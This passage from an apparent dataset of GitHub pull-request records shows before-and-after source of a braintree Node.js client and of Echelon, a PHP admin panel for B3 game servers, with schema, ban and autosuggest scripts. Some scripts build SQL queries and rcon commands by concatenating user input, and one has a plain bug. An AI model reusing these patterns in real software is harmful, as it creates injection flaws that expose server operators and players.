errorTypes;\n", "lib/braintree/http.js": "var sys = require('sys'),\n    http = require('http'),\n    Buffer = require('buffer').Buffer,\n    base64 = require('base64'),\n    braintree = require('../braintree'),\n    AuthenticationError = require('./exceptions/authentication_error').AuthenticationError,\n    UnexpectedError = require('./exceptions/unexpected_error').UnexpectedError;\n\nvar Http = function (config) {\n  var my = {\n    config: config\n  };\n\n  var request = function (method, url, body, callback) {\n    var client = http.createClient(\n      my.config.environment.port,\n      my.config.environment.server,\n      my.config.environment.ssl\n    );\n    var headers = {\n      'Authorization': base64.encode(new Buffer(my.config.public_key + ':' + my.config.private_key)),\n      'X-ApiVersion': '2',\n      'Accept': 'application/json',\n      'Content-Type': 'application/json',\n      'User-Agent': 'client Node ' + braintree.version\n    };\n    if (body) {\n      var requestBody = JSON.stringify(body);\n      headers['Content-Length'] = requestBody.length.toString();\n    }\n    var request = client.request(method, my.config.baseMerchantPath + url, headers);\n    if (body) { request.write(requestBody); }\n    request.end();\n    request.on('response', function (response) {\n      var body = '';\n      response.on('data', function (responseBody) {\n        body += responseBody;\n      });\n      response.on('end', function () {\n        if (response.statusCode == 401) {\n          callback(AuthenticationError(), null);\n        } else if (response.statusCode == 200 || response.statusCode == 201 || response.statusCode == 422) {\n          callback(null, JSON.parse(body));\n        } else {\n          callback(UnexpectedError('Unexpected HTTP response: ' + response.statusCode), null);\n        }\n      });\n    });\n  };\n\n  return {\n    post: function (url, body, callback) {\n      request('POST', url, body, callback);\n    },\n\n    put: function (url, body, callback) {\n      request('PUT', url, body, callback);\n    }\n  };\n};\n\nexports.Http = Http;\n", "spec/spec_helper.js": "GLOBAL.sys = require('sys');\nGLOBAL.vows = require('vows');\nGLOBAL.assert = require('assert');\n\nGLOBAL.inspect = function (object) {\n  sys.puts(sys.inspect(object));\n};\n\nGLOBAL.braintree = require('./../lib/braintree');\n\nvar defaultConfig = {\n  environment: braintree.Environment.Development,\n  merchantId: 'integration_merchant_id',\n  publicKey: 'integration_public_key',\n  privateKey: 'integration_private_key'\n};\n\nvar defaultGateway = braintree.connect(defaultConfig);\n\nGLOBAL.specHelper = {\n  defaultConfig: defaultConfig,\n  defaultGateway: defaultGateway\n}\n"}, "files_after": {"lib/braintree.js": "var util = require('util'),\n    Config = require(\"./braintree/config\").Config,\n    Environment = require(\"./braintree/environment\").Environment,\n    Gateway = require(\"./braintree/gateway\").Gateway,\n    TransactionGateway = require(\"./braintree/transaction_gateway\").TransactionGateway;\n    AuthenticationError = require(\"./braintree/exceptions/authentication_error\").AuthenticationError,\n    errorTypes = require(\"./braintree/exceptions/error_types\");\n\nif (process.version !== 'v0.2.0') {\n  util.puts('WARNING: node.js version ' + process.version + ' has not been tested with the braintree library');\n}\n\nvar connect = function(config) {\n  var gateway = Gateway(Config(config));\n  return {\n    transaction: TransactionGateway(gateway)\n  };\n};\n\nexports.connect = connect;\nexports.version = '0.1.0';\nexports.AuthenticationError = AuthenticationError;\nexports.Environment = Environment;\nexports.errorTypes = errorTypes;\n", "lib/braintree/http.js": "var util = require('util'),\n    http = require('http'),\n    Buffer = require('buffer').Buffer,\n    base64 = require('base64'),\n    braintree = require('../braintree'),\n    AuthenticationError = require('./exceptions/authentication_error').AuthenticationError,\n    UnexpectedError = require('./exceptions/unexpected_error').UnexpectedError;\n\nvar Http = function (config) {\n  var my = {\n    config: config\n  };\n\n  var request = function (method, url, body, callback) {\n    var client = http.createClient(\n      my.config.environment.port,\n      my.config.environment.server,\n      my.config.environment.ssl\n    );\n    var headers = {\n      'Authorization': base64.encode(new Buffer(my.config.public_key + ':' + my.config.private_key)),\n      'X-ApiVersion': '2',\n      'Accept': 'application/json',\n      'Content-Type': 'application/json',\n      'User-Agent': 'client Node ' + braintree.version\n    };\n    if (body) {\n      var requestBody = JSON.stringify(body);\n      headers['Content-Length'] = requestBody.length.toString();\n    }\n    var request = client.request(method, my.config.baseMerchantPath + url, headers);\n    if (body) { request.write(requestBody); }\n    request.end();\n    request.on('response', function (response) {\n      var body = '';\n      response.on('data', function (responseBody) {\n        body += responseBody;\n      });\n      response.on('end', function () {\n        if (response.statusCode == 401) {\n          callback(AuthenticationError(), null);\n        } else if (response.statusCode == 200 || response.statusCode == 201 || response.statusCode == 422) {\n          callback(null, JSON.parse(body));\n        } else {\n          callback(UnexpectedError('Unexpected HTTP response: ' + response.statusCode), null);\n        }\n      });\n    });\n  };\n\n  return {\n    post: function (url, body, callback) {\n      request('POST', url, body, callback);\n    },\n\n    put: function (url, body, callback) {\n      request('PUT', url, body, callback);\n    }\n  };\n};\n\nexports.Http = Http;\n", "spec/spec_helper.js": "GLOBAL.util = require('util');\nGLOBAL.vows = require('vows');\nGLOBAL.assert = require('assert');\n\nGLOBAL.inspect = function (object) {\n  util.puts(util.inspect(object));\n};\n\nGLOBAL.braintree = require('./../lib/braintree');\n\nvar defaultConfig = {\n  environment: braintree.Environment.Development,\n  merchantId: 'integration_merchant_id',\n  publicKey: 'integration_public_key',\n  privateKey: 'integration_private_key'\n};\n\nvar defaultGateway = braintree.connect(defaultConfig);\n\nGLOBAL.specHelper = {\n  defaultConfig: defaultConfig,\n  defaultGateway: defaultGateway\n}\n"}}
{"repo": "kevinwbaker/Echelon", "pr_number": 8, "title": "error", "state": "open", "merged_at": null, "additions": 2180, "deletions": 1937, "files_changed": ["echelon.sql", "echelon/actions/autosuggest.php", "echelon/actions/b3/ban.php", "echelon/actions/b3/comment.php", "echelon/actions/b3/editban.php", "echelon/actions/b3/greeting.php", "echelon/actions/b3/level.php", "echelon/actions/b3/unban.php", "echelon/actions/blacklist.php", "echelon/actions/edit-me.php", "echelon/actions/settings-game.php", "echelon/actions/settings-server.php", "echelon/actions/settings.php", "echelon/actions/user-add.php", "echelon/active.php", "echelon/adminkicks.php", "echelon/admins.php", "echelon/banlist.php", "echelon/bans.php", "echelon/classes/dbl-class.php", "echelon/classes/members-class.php", "echelon/classes/mysql-class.php", "echelon/classes/plugins-class.php", "echelon/clientdetails.php", "echelon/clients.php", "echelon/css/cd.css", "echelon/css/home.css", "echelon/css/login.css"], "files_before": {"echelon.sql": "/*\r\nMySQL Data Transfer\r\nSource Host: localhost\r\nSource Database: echelon\r\nTarget Host: localhost\r\nTarget Database: echelon\r\nDate: 13/08/2010 00:47:01\r\n*/\r\n\r\nSET FOREIGN_KEY_CHECKS=0;\r\n-- ----------------------------\r\n-- Table structure for ech_blacklist\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_blacklist`;\r\nCREATE TABLE `ech_blacklist` (\n  `id` smallint(5) unsigned NOT NULL AUTO_INCREMENT,\n  `ip` varchar(24) NOT NULL,\n  `active` tinyint(4) DEFAULT NULL,\n  `reason` varchar(255) DEFAULT NULL,\n  `time_add` int(32) unsigned DEFAULT NULL,\n  `admin_id` smallint(6) unsigned DEFAULT NULL,\n  PRIMARY KEY (`id`),\n  KEY `ip` (`ip`,`active`)\n) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_config\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_config`;\r\nCREATE TABLE `ech_config` (\n  `id` smallint(6) NOT NULL AUTO_INCREMENT,\n  `name` varchar(25) NOT NULL,\n  `value` varchar(255) NOT NULL,\n  PRIMARY KEY (`id`),\n  KEY `i_config` (`name`,`value`)\n) ENGINE=MyISAM AUTO_INCREMENT=17 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_games\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_games`;\r\nCREATE TABLE `ech_games` (\n  `id` smallint(8) unsigned NOT NULL AUTO_INCREMENT,\n  `name` varchar(255) NOT NULL,\n  `game` varchar(255) NOT NULL,\n  `name_short` varchar(255) DEFAULT NULL,\n  `num_srvs` smallint(9) NOT NULL,\n  `db_host` varchar(255) NOT NULL,\n  `db_user` varchar(255) NOT NULL,\n  `db_pw` varchar(255) DEFAULT NULL,\n  `db_name` varchar(255) NOT NULL,\n  `plugins` varchar(255) DEFAULT NULL,\n  PRIMARY KEY (`id`),\n  KEY `i_games` (`name`,`num_srvs`)\n) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_groups\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_groups`;\r\nCREATE TABLE `ech_groups` (\n  `id` smallint(4) unsigned NOT NULL AUTO_INCREMENT,\n  `name` varchar(32) NOT NULL,\n  `namep` varchar(255) DEFAULT NULL,\n  `premissions` varchar(512) NOT NULL,\n  PRIMARY KEY (`id`,`name`),\n  KEY `i_name` (`name`,`namep`)\n) ENGINE=MyISAM AUTO_INCREMENT=6 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_links\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_links`;\r\nCREATE TABLE `ech_links` (\n  `id` smallint(5) unsigned NOT NULL AUTO_INCREMENT,\n  `url` varchar(255) NOT NULL,\n  `name` varchar(80) DEFAULT NULL,\n  `title` varchar(255) DEFAULT NULL,\n  PRIMARY KEY (`id`),\n  UNIQUE KEY `i_url` (`url`)\n) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_logs\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_logs`;\r\nCREATE TABLE `ech_logs` (\n  `id` smallint(5) unsigned NOT NULL AUTO_INCREMENT,\n  `type` varchar(64) DEFAULT NULL,\n  `msg` varchar(255) DEFAULT '',\n  `client_id` smallint(5) DEFAULT NULL,\n  `user_id` smallint(5) DEFAULT NULL,\n  `time_add` int(32) DEFAULT NULL,\n  `game_id` mediumint(10) DEFAULT NULL,\n  PRIMARY KEY (`id`),\n  KEY `i_logs` (`client_id`,`user_id`)\n) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_permissions\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_permissions`;\r\nCREATE TABLE `ech_permissions` (\n  `id` mediumint(6) NOT NULL AUTO_INCREMENT,\n  `name` varchar(50) NOT NULL,\n  `description` varchar(255) DEFAULT NULL,\n  PRIMARY KEY (`id`,`name`),\n  UNIQUE KEY `name` (`name`)\n) ENGINE=MyISAM AUTO_INCREMENT=28 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_servers\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_servers`;\r\nCREATE TABLE `ech_servers` (\n  `id` int(5) unsigned NOT NULL AUTO_INCREMENT,\n  `game` smallint(5) NOT NULL,\n  `name` varchar(100) NOT NULL,\n  `ip` varchar(15) NOT NULL,\n  `pb_active` tinyint(1) NOT NULL,\n  `rcon_pass` varchar(50) NOT NULL,\n  `rcon_ip` varchar(26) NOT NULL,\n  `rcon_port` int(5) NOT NULL,\n  PRIMARY KEY (`id`),\n  KEY `game` (`game`)\n) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_user_keys\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_user_keys`;\r\nCREATE TABLE `ech_user_keys` (\n  `reg_key` varchar(40) NOT NULL,\n  `ech_group` smallint(4) NOT NULL,\n  `admin_id` smallint(5) unsigned NOT NULL,\n  `comment` varchar(500) DEFAULT NULL,\n  `time_add` mediumint(24) unsigned DEFAULT NULL,\n  `email` varchar(160) NOT NULL,\n  `active` tinyint(4) NOT NULL,\n  PRIMARY KEY (`reg_key`),\n  KEY `i_regkey` (`active`,`email`)\n) ENGINE=MyISAM DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Table structure for ech_users\r\n-- ----------------------------\r\nDROP TABLE IF EXISTS `ech_users`;\r\nCREATE TABLE `ech_users` (\n  `id` smallint(6) unsigned NOT NULL AUTO_INCREMENT,\n  `username` varchar(32) NOT NULL,\n  `display` varchar(32) DEFAULT NULL,\n  `email` varchar(32) DEFAULT NULL,\n  `password` varchar(64) NOT NULL,\n  `salt` varchar(12) NOT NULL,\n  `ip` varchar(24) DEFAULT NULL,\n  `ech_group` smallint(4) unsigned NOT NULL DEFAULT '1',\n  `admin_id` smallint(6) unsigned NOT NULL DEFAULT '0',\n  `first_seen` int(24) DEFAULT NULL,\n  `last_seen` int(24) DEFAULT NULL,\n  PRIMARY KEY (`id`),\n  UNIQUE KEY `username` (`username`),\n  UNIQUE KEY `password` (`password`),\n  KEY `salt` (`salt`),\n  KEY `i_group` (`ech_group`)\n) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;\r\n\r\n-- ----------------------------\r\n-- Records \r\n-- ----------------------------\r\nINSERT INTO `ech_config` VALUES ('1', 'name', 'Development');\r\nINSERT INTO `ech_config` VALUES ('2', 'num_games', '0');\r\nINSERT INTO `ech_config` VALUES ('3', 'limit_rows', '50');\r\nINSERT INTO `ech_config` VALUES ('4', 'min_pw_len', '8');\r\nINSERT INTO `ech_config` VALUES ('5', 'user_key_expire', '14');\r\nINSERT INTO `ech_config` VALUES ('6', 'email', 'admin@example.com');\r\nINSERT INTO `ech_config` VALUES ('7', 'admin_name', 'Admin');\r\nINSERT INTO `ech_config` VALUES ('8', 'https', '0');\r\nINSERT INTO `ech_config` VALUES ('9', 'allow_ie', '1');\r\nINSERT INTO `ech_config` VALUES ('10', 'time_format', 'D, d/m/y (H:i)');\r\nINSERT INTO `ech_config` VALUES ('11', 'time_zone', 'Europe/Dublin');\r\nINSERT INTO `ech_config` VALUES ('12', 'email_header', 'Hello %name%, This is an email from the Echelon admins.');\r\nINSERT INTO `ech_config` VALUES ('13', 'email_footer', 'Thanks, the %ech_name% Echelon Team');\r\nINSERT INTO `ech_config` VALUES ('14', 'pw_req_level', '1');\r\nINSERT INTO `ech_config` VALUES ('15', 'pw_req_level_group', '64');\r\nINSERT INTO `ech_config` VALUES ('16', 'reg_clan_tags', '=(e)=,=(eG)=,=(eGO)=,{KGB}');\r\nINSERT INTO `ech_groups` VALUES ('1', 'visitor', 'Visitor', '1,2,4,5');\r\nINSERT INTO `ech_groups` VALUES ('2', 'siteadmin', 'Site Admin', '1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27');\r\nINSERT INTO `ech_groups` VALUES ('3', 'senioradmin', 'Senior Admin', '1,2,3,4,5,8,12,14,16,17,20,21,22,23,24');\r\nINSERT INTO `ech_groups` VALUES ('4', 'admin', 'Admin', '1,2,3,4,5,8,16,17,20,21,22');\r\nINSERT INTO `ech_groups` VALUES ('5', 'mod', 'Moderator', '1,2,3,4,5,8,16,22');\r\nINSERT INTO `ech_links` VALUES ('1', 'http://wiki.bigbrotherbot.net/doku.php/echelon', 'Echelon Help Wiki', 'Documentation for the installation and use of Echelon');\r\nINSERT INTO `ech_links` VALUES ('2', 'http://echelon.bigbrotherbot.net/', 'Echelon Home', 'Home site of Echelon project, check here for development news, updates, and information regarding Echelon');\r\nINSERT INTO `ech_links` VALUES ('3', 'http://eire32designs.com', 'Eire32 Site', 'The developers site');\r\nINSERT INTO `ech_links` VALUES ('4', 'http://www.bigbrotherbot.net/forums/', 'B3 Site', 'Home of bigbrother bot');\r\nINSERT INTO `ech_links` VALUES ('5', 'http://cback.de/', 'CTracker', 'Anti-worm and anti-injection attack protection');\r\nINSERT INTO `ech_links` VALUES ('6', 'http://dryicons.com/', 'DryIcons', 'Thanks for the use of the nav icons!');\r\nINSERT INTO `ech_permissions` VALUES ('1', 'login', 'Allows the user to login');\r\nINSERT INTO `ech_permissions` VALUES ('2', 'clients', 'Allows the user to view the client listing');\r\nINSERT INTO `ech_permissions` VALUES ('3', 'chatlogs', 'Allows the user to view Chatlogs');\r\nINSERT INTO `ech_permissions` VALUES ('4', 'penalties', 'Allows the user to view the Penalty Listing pages');\r\nINSERT INTO `ech_permissions` VALUES ('5', 'admins', 'Allows the user to view the Admins Pages');\r\nINSERT INTO `ech_permissions` VALUES ('6', 'manage_settings', 'Allows the user to Manage Echelon Settings.');\r\nINSERT INTO `ech_permissions` VALUES ('7', 'chats_edit_tables', 'Allows the user to edit chatlogger settings');\r\nINSERT INTO `ech_permissions` VALUES ('8', 'logs', 'Allows the user to view Logs');\r\nINSERT INTO `ech_permissions` VALUES ('9', 'edit_user', 'Allows the user to edit other Echelon users');\r\nINSERT INTO `ech_permissions` VALUES ('10', 'add_user', 'Allows the user to Add Echelon Users');\r\nINSERT INTO `ech_permissions` VALUES ('11', 'manage_servers', 'Allows the user to Manage Servers');\r\nINSERT INTO `ech_permissions` VALUES ('12', 'ban', 'Allows the user to Ban');\r\nINSERT INTO `ech_permissions` VALUES ('13', 'edit_mask', 'Allows the user to Edit User Level Masks');\r\nINSERT INTO `ech_permissions` VALUES ('14', 'siteadmin', 'Allows the user to  control the site blacklist and other admin actions');\r\nINSERT INTO `ech_permissions` VALUES ('15', 'edit_perms', 'Allows the user to the premissions of user groups and users');\r\nINSERT INTO `ech_permissions` VALUES ('16', 'comment', 'Allows a user to add a comment to a client');\r\nINSERT INTO `ech_permissions` VALUES ('17', 'greeting', 'Allows the user to change the greeting of a client');\r\nINSERT INTO `ech_permissions` VALUES ('18', 'edit_client_level', 'Allows user to change a players B3 level');\r\nINSERT INTO `ech_permissions` VALUES ('19', 'edit_ban', 'Allows user to edit a B3 ban');\r\nINSERT INTO `ech_permissions` VALUES ('20', 'view_ip', 'Allows the user to view players IP addresses');\r\nINSERT INTO `ech_permissions` VALUES ('21', 'view_full_guid', 'Allow the user to view players full GUID for clients');\r\nINSERT INTO `ech_permissions` VALUES ('22', 'view_half_guid', 'Allow the user to view half of the player GUID for clients');\r\nINSERT INTO `ech_permissions` VALUES ('23', 'unban', 'Allows user to remove a B3 Ban');\r\nINSERT INTO `ech_permissions` VALUES ('24', 'edit_xlrstats', 'Allows user to edit a client\\'s XLRStats information (hidden, fixed name)');\r\nINSERT INTO `ech_permissions` VALUES ('25', 'ctime', 'Allows user to view CTime information');\r\nINSERT INTO `ech_permissions` VALUES ('26', 'see_update_msg', 'Shows this user the Echelon needs updating message');\r\nINSERT INTO `ech_permissions` VALUES ('27', 'chats_talk_back', 'Allows the user to talk back to the server using the Chats Plugin');", "echelon/actions/autosuggest.php": "<?php\r\n$auth_name = 'clients';\r\n$b3_conn = true;\r\nrequire '../inc.php';\r\n\r\n## If no string die\r\nif(!isset($_GET['s']))\r\n\tdie('There should be no direct access to this script!');\r\n\r\n## Continue\r\n$string = cleanvar($_GET['s']);\r\n\r\nif(strlen($string) > 0) {\r\n\r\n\t$query = \"SELECT name FROM clients WHERE UPPER(name) LIKE '\". $string .\"%' ORDER BY name LIMIT 10\";\r\n\t$stmt = $db->mysql->prepare($query);\r\n\t$stmt->execute();\r\n\t$stmt->store_result();\r\n\t\r\n\tif($stmt->num_rows) {\r\n\t\r\n\t\t$stmt->bind_result($name);\r\n\t\r\n\t\techo '<ol>';\r\n\t\t\twhile ($stmt->fetch()) :\r\n\t\t\t\techo '<li onClick=\"fill(\\''.tableClean($name).'\\');\">'.$name.'</li>';\r\n\t\t\tendwhile;\r\n\t\techo '</ol>';\r\n\t\t\r\n\t} else { // else try more flexible query\r\n\t\t\r\n\t\t$query_2 = \"SELECT name FROM clients WHERE SOUNDEX(name) = SOUNDEX('%%\". $string .\"%%') ORDER BY name LIMIT 10\";\r\n\t\t$stmt = $db->mysql->prepare($query_2);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->store_result();\r\n\t\t\t\t\r\n\t\tif($stmt->num_rows) { // if something return data\r\n\t\t\r\n\t\t\t$stmt->bind_result($name);\r\n\t\t\r\n\t\t\techo '<ol>';\r\n\t\t\twhile ($stmt->fetch()) :\r\n\t\t\t\techo '<li onClick=\"fill(\\''.tableClean($name).'\\');\">'.$name.'</li>';\r\n\t\t\tendwhile;\r\n\t\t\techo '</ol>';\r\n\t\t\t\r\n\t\t} else { // if nothing try even more flexible query\r\n\t\t\r\n\t\t\t$query_3 = \"SELECT name FROM clients WHERE SUBSTRING(SOUNDEX(name),2) = SUBSTRING(SOUNDEX('%%%\". $string .\"%%%'),2) ORDER BY name LIMIT 10\";\r\n\t\t\t$stmt = $db->mysql->prepare($query_3);\r\n\t\t\t$stmt->execute();\r\n\t\t\t$stmt->store_result();\r\n\t\t\t\r\n\t\t\tif($stmt->num_rows) { // if something return data\r\n\t\t\t\r\n\t\t\t\t$stmt->bind_result($name);\r\n\t\t\t\r\n\t\t\t\techo '<ol>';\r\n\t\t\t\twhile ($result = $query_3->fetch_object()) :\r\n\t\t\t\t\techo '<li onClick=\"fill(\\''.tableClean($name).'\\');\">'.$name.'</li>';\r\n\t\t\t\tendwhile;\r\n\t\t\t\techo '</ol>';\r\n\t\t\t\t\r\n\t\t\t} else { // if nothing try even more flexible query\r\n\t\t\t\t\r\n\t\t\t\techo '<ol><li>There are no matches to your search</li></ol>';\r\n\t\t\t\r\n\t\t\t} // show error if nothing gotten overal\r\n\t\t\r\n\t\t} // end if two returned nothing!\r\n\t\r\n\t} // end if query one returned nothing !\r\n\r\n\techo '<ol><li>There was nothing in the search box</li></ol>';\r\n}\r\n\r\n?>", "echelon/actions/b3/ban.php": "<?php\r\n$auth_name = 'ban';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\nrequire '../../inc.php';\r\n\r\nif(!$_POST['ban-sub']) { // if the form not is submitted\r\n\tset_error('Please do not call that page directly, thank you.');\r\n\tsend('../../index.php');\r\n}\r\n\r\n## check that the sent form token is corret\r\nif(!verifyFormToken('ban', $tokens)) // verify token\r\n\tifTokenBad('Add ban');\r\n\r\n## Type of ban and get and set vars ##\r\n$pb_ban = cleanvar($_POST['pb']);\r\nif($pb_ban == 'on') {\r\n\t$is_pb_ban = true;\r\n} else {\r\n\t$is_pb_ban = false;\r\n\t$duration_form = cleanvar($_POST['duration']);\r\n\t$time = cleanvar($_POST['time']);\r\n\temptyInput($time, 'time frame');\r\n\temptyInput($duration_form, 'penalty duration');\r\n}\r\n\r\n$reason = cleanvar($_POST['reason']);\r\n$client_id = cleanvar($_POST['cid']);\r\n$pbid = cleanvar($_POST['c-pbid']);\r\n$c_name = cleanvar($_POST['c-name']);\r\n$c_ip = cleanvar($_POST['c-ip']);\r\n\r\n// check for empty reason\r\nemptyInput($reason, 'ban reason');\r\n\r\n## Check sent client_id is a number ##\r\nif(!isID($client_id))\r\n\tsendBack('Invalid data sent, ban not added');\r\n\t\r\n## Sort out some ban information\r\nif($is_pb_ban) { // if the ban is perma ban\r\n\t$type = 'Ban';\r\n\t$time_expire = '-1';\r\n\t$duration = 0;\r\n} else {\r\n\t$type = 'TempBan';\r\n\t\r\n\t// NOTE: the duration in the DB is done in MINUTES and the time_expire is written in unix timestamp (in seconds)\r\n\t$duration = penDuration($time, $duration_form);\r\n\t\r\n\t$duration_secs = $duration*60; // find the duration in seconds\r\n\t\r\n\t$time_expire = time() + $duration_secs; // time_expire is current time plus the duration in seconds\r\n\r\n} // end if pb/tempban var setup\r\n\r\n$data = '(Echelon: '. $mem->name . ' ['. $mem->id .'])'; // since this ban goes down as a B3 ban, tag on some user information (display name and echelon user id)\r\n\r\n## Add Ban to the penalty table ##\r\n$result = $db->penClient($type, $client_id, $duration, $reason, $data, $time_expire);\r\n\t\r\n## Make PB ban to server if Pb is enabled ##\r\nif($is_pb_ban == true) :\r\n\t$i = 1;\r\n\twhile($i <= $game_num_srvs) :\r\n\r\n\t\tif($config['games'][$game]['servers'][$i]['pb_active'] == '1') :\r\n\t\t\t// get the rcon information from the massive config array\r\n\t\t\t$rcon_pass = $config['game']['servers'][$i]['rcon_pass'];\r\n\t\t\t$rcon_ip = $config['game']['servers'][$i]['rcon_ip'];\r\n\t\t\t$rcon_port = $config['game']['servers'][$i]['rcon_port'];\r\n\t\t\t$c_ip = trim($c_ip);\r\n\t\t\r\n\t\t\t// PB_SV_BanGuid [guid] [player_name] [IP_Address] [reason]\r\n\t\t\t$command = \"pb_sv_banguid \" . $pbid . \" \" . $c_name . \" \" . $c_ip . \" \" . $reason;\r\n\t\t\trcon($rcon_ip, $rcon_port, $rcon_pass, $command); // send the ban command\r\n\t\t\tsleep(1); // sleep for 1 sec in ordere to the give server some time\r\n\t\t\t$command_upd = \"pb_sv_updbanfile\"; // we need to update the ban files\r\n\t\t\trcon($rcon_ip, $rcon_port, $rcon_pass, $command_upd); // send the ban file update command\r\n\t\tendif;\r\n\r\n\t\t$i++;\r\n\tendwhile;\r\nendif; // end if a $is_pb_ban == true\r\n\r\nif($result)\r\n\tsendGood('Ban added to banlist and to the DB');\r\nelse\r\n\tsendBack('Something went wrong the ban was not added');\r\n\r\nexit;", "echelon/actions/b3/comment.php": "<?php\r\n$auth_name = 'comment';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\nrequire '../../inc.php';\r\n\r\nif(!isset($_POST['comment-sub'])) : // if the form is submitted\r\n\tset_error('Please do not call that page directly');\r\n\tsend('../../');\r\nendif;\r\n\r\n## check that the sent form token is corret\r\nif(verifyFormToken('comment', $tokens) == false) // verify token\r\n\tifTokenBad('Add comment');\r\n\r\n// Gets vars from form\r\n$cid = cleanvar($_POST['cid']);\r\n$comment = cleanvar($_POST['comment']);\r\n\r\n// Check for empties\r\nemptyInput($comment, 'comment');\r\nemptyInput($cid, 'client id not sent');\r\n\r\n## Check sent client_id is a number ##\r\nif(!isID($cid))\r\n\tsendBack('Invalid data sent, ban not added');\r\n\r\n## Query ##\r\n$result = $dbl->addEchLog('Comment', $comment, $cid, $mem->id, $game);\r\nif($result)\r\n\tsendGood('Comment added');\r\nelse\r\n\tsendBack('There is a problem, your comment was not added to the database');", "echelon/actions/b3/editban.php": "<?php\r\n$auth_name = 'edit_ban';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\nrequire '../../inc.php';\r\n\r\nif(!$_POST['eb-sub']) { // if the form not is submitted\r\n\tset_error('Please do not call that page directly, thank you.');\r\n\tsend('../../index.php');\r\n}\r\n\r\n## check that the sent form token is corret\r\nif(verifyFormToken('editban', $tokens) == false) // verify token\r\n\tifTokenBad('Edit ban');\r\n\t\r\n$ban_id = cleanvar($_POST['banid']);\r\n$pbid = cleanvar($_POST['pbid']);\r\n$pb_ban = cleanvar($_POST['pb']);\r\n$reason = cleanvar($_POST['reason']);\r\n$cid = cleanvar($_POST['cid']);\r\nif($pb_ban == 'on') {\r\n\t$is_pb_ban = true;\r\n\t$type = 'Ban';\r\n\t$duration = 0;\r\n\t$time_expire = '-1';\r\n} else {\r\n\t$is_pb_ban = false;\r\n\t$type = 'TempBan';\r\n\t$duration_form = cleanvar($_POST['duration']);\r\n\t$time = cleanvar($_POST['time']);\r\n\temptyInput($time, 'time frame');\r\n\temptyInput($duration_form, 'penalty duration');\r\n\t\r\n\t// NOTE: the duration in the DB is done in MINUTES and the time_expire is written in unix timestamp (in seconds)\r\n\t$duration = penDuration($time, $duration_form);\r\n\t\r\n\t$duration_secs = $duration*60; // find the duration in seconds\r\n\t\r\n\t$time_expire = time() + $duration_secs; // time_expire is current time plus the duration in seconds\r\n}\r\n\r\n// check for empty reason\r\nemptyInput($reason, 'ban reason');\r\n\r\nif( !isID($ban_id) || !isID($cid) )\r\n\tsendBack('Some of the information sent by you is invalid, the ban was not edited');\r\n\r\n## Query Section ##\r\n$query = \"UPDATE penalties SET type = ?, duration = ?, time_edit = UNIX_TIMESTAMP(), time_expire = ?, reason = ? WHERE id = ? LIMIT 1\";\r\n$stmt = $db->mysql->prepare($query) or die('DB Error');\r\n$stmt->bind_param('siisi', $type, $duration, $time_expire, $reason, $ban_id);\r\n$stmt->execute();\r\n\r\nif($stmt->affected_rows > 0)\r\n\t$results = true;\r\nelse\r\n\tsendBack('Something went wrong');\r\n\r\n## If a permaban send unban rcon command (the ban will still be enforced then by the B3 DB ##\r\nif($type == 'Ban') :\r\n\t\r\n\t## Loop thro server for this game and send unban command and update ban file\r\n\t$i = 1;\r\n\twhile($i <= $game_num_srvs) :\r\n\r\n\t\tif($config['games'][$game]['servers'][$i]['pb_active'] == '1') {\r\n\t\t\t// get the rcon information from the massive config array\r\n\t\t\t$rcon_pass = $config['game']['servers'][$i]['rcon_pass'];\r\n\t\t\t$rcon_ip = $config['game']['servers'][$i]['rcon_ip'];\r\n\t\t\t$rcon_port = $config['game']['servers'][$i]['rcon_port'];\r\n\t\t\r\n\t\t\t// PB_SV_BanGuid [guid] [player_name] [IP_Address] [reason]\r\n\t\t\t$command = \"pb_sv_unbanguid \" . $pbid;\r\n\t\t\trcon($rcon_ip, $rcon_port, $rcon_pass, $command); // send the ban command\r\n\t\t\tsleep(1); // sleep for 1 sec in ordere to the give server some time\r\n\t\t\t$command_upd = \"pb_sv_updbanfile\"; // we need to update the ban files\r\n\t\t\trcon($rcon_ip, $rcon_port, $rcon_pass, $command_upd); // send the ban file update command\r\n\t\t}\r\n\r\n\t\t$i++;\r\n\tendwhile;\r\n\r\nendif;\r\n\r\n// set comment for the edit ban action\r\n$comment = 'A ban for this user was edited';\r\n\r\n## Query ##\r\n$result = $dbl->addEchLog('Edit Ban', $comment, $cid, $mem->id);\r\n\r\nif($results)\r\n\tsendGood('Ban edited');\r\nelse\r\n\tsendBack('NO!');\r\n\r\nexit;", "echelon/actions/b3/greeting.php": "<?php\r\n$auth_name = 'greeting';\r\n$b3_conn = true; // this page needs to connect to the B3 database\r\nrequire '../../inc.php';\r\n\r\nif($_POST['greeting-sub']) : // if the form is submitted\r\n\r\n\t## check that the sent form 